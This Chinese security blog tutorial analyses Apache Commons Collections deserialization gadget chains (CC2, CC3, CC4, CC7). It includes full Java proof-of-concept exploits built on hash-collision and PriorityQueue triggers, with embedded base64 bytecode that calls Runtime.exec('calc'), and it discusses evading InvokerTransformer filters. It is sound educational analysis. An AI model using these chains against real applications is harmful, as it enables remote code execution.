这里再code中存放的就是字节码 然后 是对TemplatesImpl的实例化
同时 setFieldValue 又可以 对私有属性进行操作 便可以设置TemplatesImpl中的变量_bytecodes是字节码 _name是任意字符串_tfactory是一个TransformerFactoryImpl对象
我们可以想一下 我们在之前transformchain的基础之上 如果我们将ConstantTransformer替换成这里的TemplatesImpl
然后 将下面的InvokeTransformer改成这里 解字节码的方法 是不是就可以成功执行了呢
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc3demo {
public static void main (String[] args){
byte[] code =
Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",null,null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("123123","123123");
}
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}
尝试构造 一个demo
是可以成功执行的 然后我们将我们的demo和完整的cc3的poc对比一下 发现 在cc3中 并没有使用到InvokerTransformer 而是使用到了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilte
在这个类中直接给出了(TransformerImpl) templates.newTransformer();
也就避免了我们自己手动使用 InvokerTransformer
来实现的过程 同时 也因为 InvokerTransformer
经常会被过滤到 我们需要寻找一种新的方法来绕过
当我们不使用InvokerTransformer
的时候 我们会面临一个新的问题 我们需要获取TrAXFilter
的构造函数 再使用此构造方法 去调用 字节码 我们使用InstantiateTransformer
可以看到 这个类就是用来获取构造方法的
再在原来的基础上 加上AnnotationInvocationHandler
类的反射调用 和 动态代理触发AnnotationInvocationHandler#invoke
方法即可构造出poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc3demo {
public static void main (String[] args){
byte[] code =
Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("123123","123123");
}
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}
先放出ysoserial的调用链
同样的CC7也是通过LazyMap.get() 来触发Transformer数组的 同样的 我们只需要去找谁调用到了get即可
我们从ysoserial的poc中 我们可以发现一个新面孔
根据上面的注释 我们不难得知 这里通过两个对象的碰撞来触发的
看一下Hashtable的readObject
for循环 将传入的key和value的序列化流读出来 填入reconstitutionPut
先对传入的key求hash 然后计算在table中的index索引 Entry中储存着key和value Entry在table中 下面的for循环 中比较hash 比较完之后 进入equals 也是判断 在判断完之后 会添加进去
在equals中 存在get的调用
在此处触发LazyMap.get()
也就是 这里的m是LazyMap的话 就可以成功调用
但是 在这之前 我们需要 满足一个条件 就是上面的if中 我们需要构造两个hashcode相等的HashTable
我们借助一个小demo 来测试一下这里的hashcode的计算
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;import java.util.HashMap;
import java.util.Map;
public class cc7test {
public static void main(String[] args){
Map innerMap1 = new HashMap();
innerMap1.put("123",1);
Map innerMap2 = new HashMap();
innerMap2.put("y0",1);
ConstantTransformer transformer = new ConstantTransformer(1);
Map Lazymap = LazyMap.decorate(innerMap1,transformer);
System.out.println(Lazymap.hashCode());
}
}
这个跟到最后 发现是一个Integer类型的 仅会返回一个值 那么我们传一个String类型的会怎么加密呢
我们将innerMap2传入
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value; for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
发现其加密方式 这样稍微复杂一点的可以多给我们一些可乘之机
我们来细嗦一下这里的加密
当我们传入的值是两个字符的时候 这里的加密就转变成了
31*ASCII(s1[0]) + ASCII(s1[1])
知道了这个加密的方式 我们就可以比较容易的构造相同数值的两个字符串
pP 3552
oo 3552
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException,
IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeformers = new Transformer[]{new
ConstantTransformer(2)};
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,
Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new
ChainedTransformer(fakeformers);
Map innerMap1 = new HashMap();
innerMap1.put("pP",1);
Map innerMap2 = new HashMap();
innerMap2.put("oo",1);
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
lazyMap2.remove("pP");
Class clazz = ChainedTransformer.class;
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transforms);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
目前commons-collections有两个大版本 cc2和cc4是面向 commons-collections4的 之前我们一直在探讨commons-collections3的问题
先上调用链
我们之前的cc1和cc3链 都能在4中跑通 但是 需要将LazyMap.decorate处改为LazyMap.lazyMap.decorate
在commons-collections中找利用链就是从Serializable#readObject()
到Transformer#transform()
的过程
我们可以看到 上面ysoserial并没有给出完整的调用链
在PriorityQueue中 跟进heapify
跟进siftDownUsingComparator
跟进compare
看到了transform 最终调用栈如下
尝试写一下poc
这里的PriorityQueue
有两个参数 第一个参数是初始化时的大小 至少需要2个元素才会触发排序和比较,所以是2 第二个参数黄前面实例化的comparator传入即可
还要向其中添加数据
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Comparator;
import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class cc2test {
public static void main(String[] args) throws Exception{
org.apache.commons.collections4.Transformer[] transformer = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] { String.class,Class[].class },new Object[]{"getRuntime",new Class[0] }),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
Comparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(1);
priorityQueue.add(2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
在cc链2的基础上 将InvokerTransformer
替换成 InstantiateTransformer
利用字节码来执行命令
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc4 {
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception{
byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformer = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(1);
priorityQueue.add(2);
ByteArrayOutputStream baos = new ByteArrayOutputStream( );
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(priorityQueue);
oos.flush();
oos.close();
ByteArrayInputStream bais =new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
在这些调用链中 我们首先分成两类 commons-collections3和commons-collection4 版本4下的调用链通过 在版本4中增加了序列化接口的TransformingComparator
和 自己有readObject()
方法的PriorityQueue
来实现从Serializable#readObject()
到Transformer#transform()
的 其实 在版本3中 这个调用的总体方向也是相同的 只是其中过程中使用到的方法各有不同 在实现了调用后 还可以通过字节码或者直接调用来执行命令 这些都对我们绕过诸多的过滤有所帮助。
https://xz.aliyun.com/t/9409
https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/
https://blog.csdn.net/u011240877/article/details/54604212